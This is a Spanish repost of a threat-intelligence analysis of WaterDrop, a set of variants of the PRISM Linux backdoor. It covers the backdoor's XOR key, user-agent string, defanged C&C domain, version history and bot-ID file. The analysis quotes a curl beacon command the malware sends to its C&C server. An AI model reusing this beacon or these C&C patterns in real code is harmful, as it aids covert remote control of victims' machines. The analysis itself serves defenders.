LinuxParty
NUESTRO SITIO necesita la publicidad para costear hosting y el dominio. Por favor considera deshabilitar tu AdBlock en nuestro sitio. También puedes hacernos una donación entrando en linuxparty.es, en la columna de la derecha.
AT&T Alien Labs ha descubierto recientemente un grupo de ejecutables ELF de Linux que tienen detecciones de antivirus bajas o nulas en VirusTotal, aunque nuestros sistemas de análisis de amenazas internos los han marcado como maliciosos. Tras la inspección de las muestras, Alien Labs las ha identificado como modificaciones de la puerta trasera PRISM de código abierto utilizada por múltiples actores de amenazas en varias campañas.
Hemos realizado una investigación más a fondo de las muestras y hemos descubierto que varias campañas que utilizan estos ejecutables maliciosos han logrado permanecer activas y bajo el radar durante más de 3,5 años. Las muestras más antiguas que Alien Labs puede atribuir a uno de los actores datan del 8 de noviembre de 2017.
Análisis
WaterDrop
La variante WaterDrop es fácilmente identificable, ya que incluye una función llamada xencrypt que realiza el cifrado XOR con la clave 0x1F codificada de un solo byte. A partir de la versión 7 de la variante WaterDrop, las muestras incluyen la cadena de texto sin formato "WaterDropx vX iniciado", donde X es el número de versión entero. Hasta ahora, hemos observado que las versiones 1, 2.2 y 3 todavía usan el nombre PRISM. Las versiones 7, 9 y 12 se denominan WaterDropx.
También utiliza la cadena de agente de usuario fácilmente identificable " agent-waterdropx " para las comunicaciones de comando y control (C&C) basadas en HTTP, y llega a los subdominios del dominio waterdropx [.] Com.
Si bien todos estos pueden parecer indicadores bastante obvios, el actor de amenazas detrás de esta variante ha logrado mantener una puntuación de detección de cero o casi cero en VirusTotal para sus muestras y dominios. Lo más probable es que esto se deba a que sus campañas son bastante pequeñas. El dominio waterdropx [.] Com se registró para el propietario actual el 18 de agosto de 2017 y, al 10 de agosto de 2021, todavía estaba en línea.
Además de las características básicas de PRISM, WaterDrop introduce el cifrado XOR para la configuración y un proceso adicional que consulta regularmente a los C&C sobre los comandos a ejecutar (ver figura 2).

Esta comunicación con el servidor C&C es HTTP de texto plano y se realiza mediante el comando curl. En todas las versiones que ha observado Alien Labs, se utiliza la opción -A “agent-waterdropx”, lo que significa que el encabezado del agente de usuario permanecerá constante en todas las versiones.
También hemos observado algunas muestras de esta variante que cargan un Módulo Kernel si el proceso se ejecuta con privilegios de root (ver figura 3).
Evolución de la versión
PRISM v1
Alien Labs ha encontrado muestras etiquetadas como "PRISM v1" que podemos atribuir al mismo actor de amenazas con gran confianza ya que utilizan el mismo dominio de C&C (waterdropx [.] Com). Las muestras también comparten características distintivas, como la cadena de agente de usuario agent-waterdropx.
En comparación con el PRISM público, esta versión introduce la creación de un proceso hijo que consulta constantemente al servidor de C&C para que se ejecuten los comandos. La solicitud inicial al servidor C&C se realiza mediante el siguiente comando:
curl -A 'agent-waterdropx' 'http://r.waterdropx[.]com:13858/tellmev2.x?v=1&act=touch'
PRISM v1 no presenta ningún tipo de ofuscación, empaquetado o encriptación de los binarios.
PRISM v2.2
PRISM v2.2 introduce el uso del cifrado XOR para ofuscar datos confidenciales, como las cadenas de comandos BASH utilizadas. La clave es de un solo byte y está codificada en el valor 0x1F. Esta clave en particular se utiliza en todas las muestras de este actor de amenazas que observamos.
Para esta versión, el formato de solicitud de URI de C&C inicial es:
/tellmev2.x?v=2.2&act=touch
PRISM v3
Es idéntico a v2.2, con una excepción: los clientes incluyen un ID de bot para fines de identificación. Esta identificación de bot se guarda en /etc/.xid y se usa en la baliza de malware.
El formato de solicitud inicial es:
/tellmev2.x?v=3&act=touch&xid=
Para más información sobre PRISM, siga este enlace
Para una traducción automática, en español siga este enlace

-
Energía.
- La Fusión Nuclear Avanza: Superando Obstáculos y Acercándonos a una Nueva Era Energética
- GM afirma que la nueva química de la batería permitirá vehículos eléctricos con una autonomía de 400 millas
- Un poco "de luz" en el histórico apagón del 28A: la mayor prueba de estrés para el sistema eléctrico ibérico
- BYD presenta nueva tecnología de supercarga para vehículos eléctricos con velocidades máximas de 1000 kW
- La Revolución Energética: Batería de Diamante de Carbono-14 con 5,700 Años de Duración
- El auge de la energía solar en EE.UU. continúa, pero se ve contrarrestado por el aumento del consumo de energía
- Enron.com anuncia pedidos anticipados de un reactor nuclear doméstico con forma de huevo
- Japón Descubre un Tesoro Submarino que Podría Redefinir su Economía y Liderazgo Global
- Las baterías de iones de litio de un solo cristal duran ocho veces más, según investigaciones
- Las nuevas barras de combustible nuclear resisten 1900º C ( 3452 °F ) durante 120 días de prueba, lo que aumenta las esperanzas de reactores más seguros
- El plan de Islandia de perforar un volcán para probar energía geotérmica supercargada y "sin límites"
- Este dispositivo genera electricidad con luz solar de noche
- La energía limpia debería volverse más barata y crecer aún más rápido
- Saurea: El Motor Solar Indestructible que Promete Transformar las Zonas Rurales del Mundo
- La energía verde de las baterías de almacenamiento está reemplazando a los combustibles fósiles en California y Texas